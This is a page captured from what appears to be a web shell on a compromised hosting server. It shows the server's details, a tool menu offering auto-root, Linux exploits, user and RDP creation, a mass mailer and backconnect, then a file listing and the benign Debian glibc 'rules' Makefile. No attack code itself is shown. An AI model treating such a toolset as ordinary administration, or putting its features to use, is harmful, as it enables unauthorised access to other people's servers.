Linux cpanel.rrshost.in 5.15.0-25-generic #25-Ubuntu SMP Wed Mar 30 15:54:22 UTC 2022 x86_64
Apache
: 109.123.238.221 | : 172.70.80.75
128 Domain
8.2.28
aev999
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
src /
glibc /
debian /
[ HOME SHELL ]
Name
Size
Permission
Action
control.in
[ DIR ]
drwxr-xr-x
debhelper.in
[ DIR ]
drwxr-xr-x
local
[ DIR ]
drwxr-xr-x
patches
[ DIR ]
drwxr-xr-x
po
[ DIR ]
drwxr-xr-x
rules.d
[ DIR ]
drwxr-xr-x
script.in
[ DIR ]
drwxr-xr-x
source
[ DIR ]
drwxr-xr-x
sysdeps
[ DIR ]
drwxr-xr-x
tests
[ DIR ]
drwxr-xr-x
changelog
882.18
KB
-rw-r--r--
changelog.upstream
179
B
-rw-r--r--
compat
3
B
-rw-r--r--
control
43.95
KB
-rw-r--r--
copyright
25.84
KB
-rw-r--r--
generate-supported.mk
194
B
-rw-r--r--
glibc-source.filelist
2.57
KB
-rw-r--r--
libc0.1-i386.symbols.kfreebsd-...
199
B
-rw-r--r--
libc0.1.symbols.common
2.14
KB
-rw-r--r--
libc0.1.symbols.kfreebsd-amd64
130
B
-rw-r--r--
libc0.1.symbols.kfreebsd-i386
114
B
-rw-r--r--
libc0.3.symbols.hurd-i386
35.24
KB
-rw-r--r--
libc6-amd64.symbols.i386
220
B
-rw-r--r--
libc6-amd64.symbols.x32
220
B
-rw-r--r--
libc6-i386.symbols.amd64
152
B
-rw-r--r--
libc6-i386.symbols.x32
396
B
-rw-r--r--
libc6-mips32.symbols.mips64
146
B
-rw-r--r--
libc6-mips32.symbols.mips64el
146
B
-rw-r--r--
libc6-mips32.symbols.mips64r6
146
B
-rw-r--r--
libc6-mips32.symbols.mips64r6e...
146
B
-rw-r--r--
libc6-mips32.symbols.mipsn32
146
B
-rw-r--r--
libc6-mips32.symbols.mipsn32el
146
B
-rw-r--r--
libc6-mips32.symbols.mipsn32r6
146
B
-rw-r--r--
libc6-mips32.symbols.mipsn32r6...
146
B
-rw-r--r--
libc6-mips64.symbols.mips
146
B
-rw-r--r--
libc6-mips64.symbols.mipsel
146
B
-rw-r--r--
libc6-mips64.symbols.mipsn32
146
B
-rw-r--r--
libc6-mips64.symbols.mipsn32el
146
B
-rw-r--r--
libc6-mips64.symbols.mipsn32r6
146
B
-rw-r--r--
libc6-mips64.symbols.mipsn32r6...
146
B
-rw-r--r--
libc6-mips64.symbols.mipsr6
146
B
-rw-r--r--
libc6-mips64.symbols.mipsr6el
146
B
-rw-r--r--
libc6-mipsn32.symbols.mips
146
B
-rw-r--r--
libc6-mipsn32.symbols.mips64
146
B
-rw-r--r--
libc6-mipsn32.symbols.mips64el
146
B
-rw-r--r--
libc6-mipsn32.symbols.mips64r6
146
B
-rw-r--r--
libc6-mipsn32.symbols.mips64r6...
146
B
-rw-r--r--
libc6-mipsn32.symbols.mipsel
146
B
-rw-r--r--
libc6-mipsn32.symbols.mipsr6
146
B
-rw-r--r--
libc6-mipsn32.symbols.mipsr6el
146
B
-rw-r--r--
libc6-ppc64.symbols.powerpc
148
B
-rw-r--r--
libc6-s390.symbols.s390x
146
B
-rw-r--r--
libc6-sparc.symbols.sparc64
193
B
-rw-r--r--
libc6-sparc64.symbols.sparc
152
B
-rw-r--r--
libc6-x32.symbols.amd64
217
B
-rw-r--r--
libc6-x32.symbols.i386
217
B
-rw-r--r--
libc6.1.symbols.alpha
1.48
KB
-rw-r--r--
libc6.symbols.amd64
220
B
-rw-r--r--
libc6.symbols.arm
380
B
-rw-r--r--
libc6.symbols.arm64
160
B
-rw-r--r--
libc6.symbols.armel
274
B
-rw-r--r--
libc6.symbols.armhf
280
B
-rw-r--r--
libc6.symbols.common
1.33
KB
-rw-r--r--
libc6.symbols.hppa
1.19
KB
-rw-r--r--
libc6.symbols.i386
396
B
-rw-r--r--
libc6.symbols.m68k
146
B
-rw-r--r--
libc6.symbols.mips
374
B
-rw-r--r--
libc6.symbols.mips64
146
B
-rw-r--r--
libc6.symbols.mips64el
146
B
-rw-r--r--
libc6.symbols.mips64r6
146
B
-rw-r--r--
libc6.symbols.mips64r6el
146
B
-rw-r--r--
libc6.symbols.mipsel
374
B
-rw-r--r--
libc6.symbols.mipsn32
146
B
-rw-r--r--
libc6.symbols.mipsn32el
146
B
-rw-r--r--
libc6.symbols.mipsn32r6
146
B
-rw-r--r--
libc6.symbols.mipsn32r6el
146
B
-rw-r--r--
libc6.symbols.mipsr6
146
B
-rw-r--r--
libc6.symbols.mipsr6el
146
B
-rw-r--r--
libc6.symbols.powerpc
381
B
-rw-r--r--
libc6.symbols.ppc64
148
B
-rw-r--r--
libc6.symbols.ppc64el
148
B
-rw-r--r--
libc6.symbols.s390x
148
B
-rw-r--r--
libc6.symbols.sparc
1.76
KB
-rw-r--r--
libc6.symbols.sparc64
152
B
-rw-r--r--
libc6.symbols.x32
217
B
-rw-r--r--
quiltrc
183
B
-rw-r--r--
rules
7.66
KB
-rwxr-xr-x
shlibs-add-udebs
1.48
KB
-rwxr-xr-x
symbols.wildcards
1.78
KB
-rw-r--r--
testsuite-xfail-debian.mk
43.98
KB
-rw-r--r--
watch
100
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : rules
#! /usr/bin/make -f # -*- makefile -*- # debian/rules file for GNU libc. # Copyright 1998, 1999 by Joel Klecker <espy@debian.org> # Copyright 2000 Ben Collins <bcollins@debian.org> # Copyright 2003 Jeff Bailey <jbailey@debian.org> # This Makefile is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # What are the phases to building glibc? # Unpack main tarball # Do any necessary overlays # Apply patches # Determine how many builds there are to do. For Each build: # Create build directory # Configure # Build # Test as desired # Install to package directories # Run debian magic to build packages. # Things you may need to customise: # These are done as absolute paths so that in the case of filesystem size # limitations, they can be overridden and spread all over. build-tree := build-tree stamp := $(CURDIR)/stamp-dir/ DUMMY := $(shell mkdir -p $(stamp)) # Beyond here you shouldn't need to customise anything: DEB_HOST_ARCH ?= $(shell dpkg-architecture -qDEB_HOST_ARCH) DEB_HOST_ARCH_ENDIAN ?= $(shell dpkg-architecture -qDEB_HOST_ARCH_ENDIAN) DEB_HOST_ARCH_OS ?= $(shell dpkg-architecture -qDEB_HOST_ARCH_OS) DEB_HOST_GNU_TYPE ?= $(shell dpkg-architecture -qDEB_HOST_GNU_TYPE) DEB_HOST_MULTIARCH ?= $(shell dpkg-architecture -qDEB_HOST_MULTIARCH) DEB_BUILD_ARCH ?= $(shell dpkg-architecture -qDEB_BUILD_ARCH) DEB_BUILD_ARCH_BITS ?= $(shell dpkg-architecture -qDEB_BUILD_ARCH_BITS) DEB_BUILD_GNU_TYPE ?= $(shell dpkg-architecture -qDEB_BUILD_GNU_TYPE) DEB_SOURCE_PACKAGE := $(strip $(shell egrep '^Source: ' debian/control | cut -f 2 -d ':')) DEB_VERSION := $(shell dpkg-parsechangelog | egrep '^Version:' | cut -f 2 -d ' ') GLIBC_VERSION = $(shell echo $(DEB_VERSION) | sed -e 's/.*://' -e 's/[+-].*//') SOURCE_DATE_EPOCH ?= $(shell dpkg-parsechangelog -STimestamp) # The minimum package version with which these packages are compatible. shlib_dep_ver = $(GLIBC_VERSION) shlib_dep = $(libc) (>= $(shlib_dep_ver)) DEB_BUILDDIR ?= $(build-tree)/$(DEB_HOST_ARCH)-$(curpass) DEB_BUILDDIRLIBC ?= $(build-tree)/$(DEB_HOST_ARCH)-libc GLIBC_SOURCES = $(filter-out debian $(shell basename $(stamp)) $(build-tree), $(wildcard *)) # Support multiple makes at once based on number of processors ifneq (,$(filter parallel=%,$(DEB_BUILD_OPTIONS))) NJOBS := -j $(patsubst parallel=%,%,$(filter parallel=%,$(DEB_BUILD_OPTIONS))) endif # use the package settings, not the settings from the environment define unsetenv unexport $(1) $(1) = endef $(foreach v, CPPFLAGS CFLAGS CXXFLAGS LDFLAGS, $(if $(filter environment,$(origin $(v))),$(eval $(call unsetenv, $(v))))) # Default setup GLIBC_PASSES ?= libc prefix=/usr bindir=$(prefix)/bin datadir=$(prefix)/share complocaledir=$(prefix)/lib/locale sysconfdir=/etc libexecdir=$(prefix)/lib rootsbindir=/sbin includedir=$(prefix)/include docdir=$(prefix)/share/doc mandir=$(prefix)/share/man sbindir=$(prefix)/sbin vardbdir=/var/lib/misc rtlddir=/lib slibdir=/lib/$(DEB_HOST_MULTIARCH) libdir=/usr/lib/$(DEB_HOST_MULTIARCH) mvec = no crypt = no BASE_CC = gcc BASE_CXX = g++ BASE_MIG = mig DEB_GCC_VERSION ?= RUN_TESTSUITE = yes TIMEOUTFACTOR = 25 # Set cross and native compiler names, including version. CC = $(DEB_HOST_GNU_TYPE)-$(BASE_CC)$(DEB_GCC_VERSION) CXX = $(DEB_HOST_GNU_TYPE)-$(BASE_CXX)$(DEB_GCC_VERSION) MIG = $(DEB_HOST_GNU_TYPE)-$(BASE_MIG) BUILD_CC = $(DEB_BUILD_GNU_TYPE)-$(BASE_CC) BUILD_CXX = $(DEB_BUILD_GNU_TYPE)-$(BASE_CXX) BUILD_CFLAGS = -O2 -g -fdebug-prefix-map=$(CURDIR)=. HOST_CFLAGS = -pipe -O2 -g -fdebug-prefix-map=$(CURDIR)=. $(call xx,extra_cflags) # 32-bit MIPS builders have a 2GB memory space. This is not enough to # build test-tgmath3.o with GCC, unless tweaking the garbage collector. ifeq ($(findstring mips,$(DEB_BUILD_ARCH))-$(DEB_BUILD_ARCH_BITS), mips-32) CC += --param ggc-min-expand=10 endif configure_target := $(DEB_HOST_GNU_TYPE) # Normally we'll just use this for --build. If the architecture requires # that build daemons be able to run a particular optimized library, then # they can set the --build to match --host for that optimized build. # Among other things this lets tests run. configure_build := $(DEB_BUILD_GNU_TYPE) # Which build pass are we on? curpass = $(filter-out %_,$(subst _,_ ,$@)) ifneq ($(filter stage1,$(DEB_BUILD_PROFILES)),) DEB_ARCH_REGULAR_PACKAGES = $(libc)-dev DEB_INDEP_REGULAR_PACKAGES = DEB_UDEB_PACKAGES = ifeq ($(filter nocheck,$(DEB_BUILD_OPTIONS)),) DEB_BUILD_OPTIONS+=nocheck endif else DEB_ARCH_REGULAR_PACKAGES = $(libc) $(libc)-dev $(libc)-dbg libc-bin libc-dev-bin ifeq ($(filter stage2,$(DEB_BUILD_PROFILES)),) DEB_ARCH_REGULAR_PACKAGES += libc-devtools endif DEB_INDEP_REGULAR_PACKAGES = glibc-doc glibc-source locales ifneq ($(filter noudeb,$(DEB_BUILD_PROFILES)),) DEB_UDEB_PACKAGES = else DEB_UDEB_PACKAGES = $(libc)-udeb endif ## Locales can only be pre-generated during native compiles ifeq ($(DEB_HOST_ARCH),$(DEB_BUILD_ARCH)) DEB_ARCH_REGULAR_PACKAGES += locales-all endif endif # Generic kernel version check define kernel_check (if [ $(CURRENT_KERNEL_VERSION) -lt $(1) ]; then \ false; \ fi) endef # Include libidn for both NPTL and FBTL targets. standard-add-ons = libidn, # Pull in all the per-arch magic! -include debian/sysdeps/$(DEB_HOST_ARCH_OS).mk -include debian/sysdeps/$(DEB_HOST_ARCH).mk include debian/sysdeps/prof.mk ifneq ($(filter stage1,$(DEB_BUILD_PROFILES)),) DEB_ARCH_REGULAR_PACKAGES += $(foreach p,$(DEB_ARCH_MULTILIB_PACKAGES), $(if $(findstring -dev,$(p)), $(p))) else DEB_ARCH_REGULAR_PACKAGES += $(DEB_ARCH_MULTILIB_PACKAGES) endif # Don't run dh_strip on this package NOSTRIP_$(libc)-dbg = 1 # Put the debug files from these packages in $(libc)-dbg DEBUG_$(libc) = 1 DEBUG_libc6-xen = 1 DEBUG_libc6.1-alphaev67 = 1 DEBUG_libc6-prof = 1 ifeq ($(filter stage1,$(DEB_BUILD_PROFILES)),) ifeq ($(threads),yes) DEB_ARCH_REGULAR_PACKAGES += nscd endif endif # And now the rules... include debian/rules.d/*.mk clean:: unpatch rm -rf $(patsubst %,debian/tmp-%,$(GLIBC_PASSES)) rm -rf $(build-tree) rm -rf $(stamp) rm -rf debian/include rm -f debian/control.in/libc0.1 debian/control.in/libc0.3 \ debian/control.in/libc6 debian/control.in/libc6.1 \ debian/*.preinst.* debian/*.links.* # Required Debian targets build-arch: $(stamp)info \ $(patsubst %,$(stamp)build_%,$(GLIBC_PASSES)) \ $(patsubst %,$(stamp)check_%,$(GLIBC_PASSES)) \ post-check post-check: $(patsubst %,$(stamp)check_%,$(GLIBC_PASSES)) @echo "CHECK SUMMARY" @for pass in $(patsubst %,$(stamp)check_%,$(GLIBC_PASSES)); do \ if [ -f $${pass}_passed ]; then \ echo "check for $$(basename $$pass) passed"; \ fi; \ done @fail=0; \ for pass in $(patsubst %,$(stamp)check_%,$(GLIBC_PASSES)); do \ if [ -f $${pass}_failed ]; then \ case "$(DEB_HOST_ARCH)-$$(basename $$pass)" in \ amd64-check_prof) \ echo "check for $$(basename $$pass) failed (ignored)";; \ *) \ echo "check for $$(basename $$pass) failed"; \ fail=1;; \ esac; \ fi; \ done; \ exit $$fail ifeq ($(filter stage1,$(DEB_BUILD_PROFILES)),) build-arch: $(stamp)build_locales-all endif build-indep: $(stamp)source $(stamp)build_libc build: build-arch build-indep binary-indep: build-indep testroot debian/control $(build-tree) \ $(patsubst %,$(stamp)binaryinst_%,$(DEB_INDEP_REGULAR_PACKAGES)) binary-arch: build-arch testroot debian/control $(build-tree) \ $(patsubst %,$(stamp)binaryinst_%,$(DEB_ARCH_REGULAR_PACKAGES)) \ $(patsubst %,$(stamp)binaryinst_%,$(DEB_UDEB_PACKAGES)) binary: binary-indep binary-arch testroot: dh_testroot
Close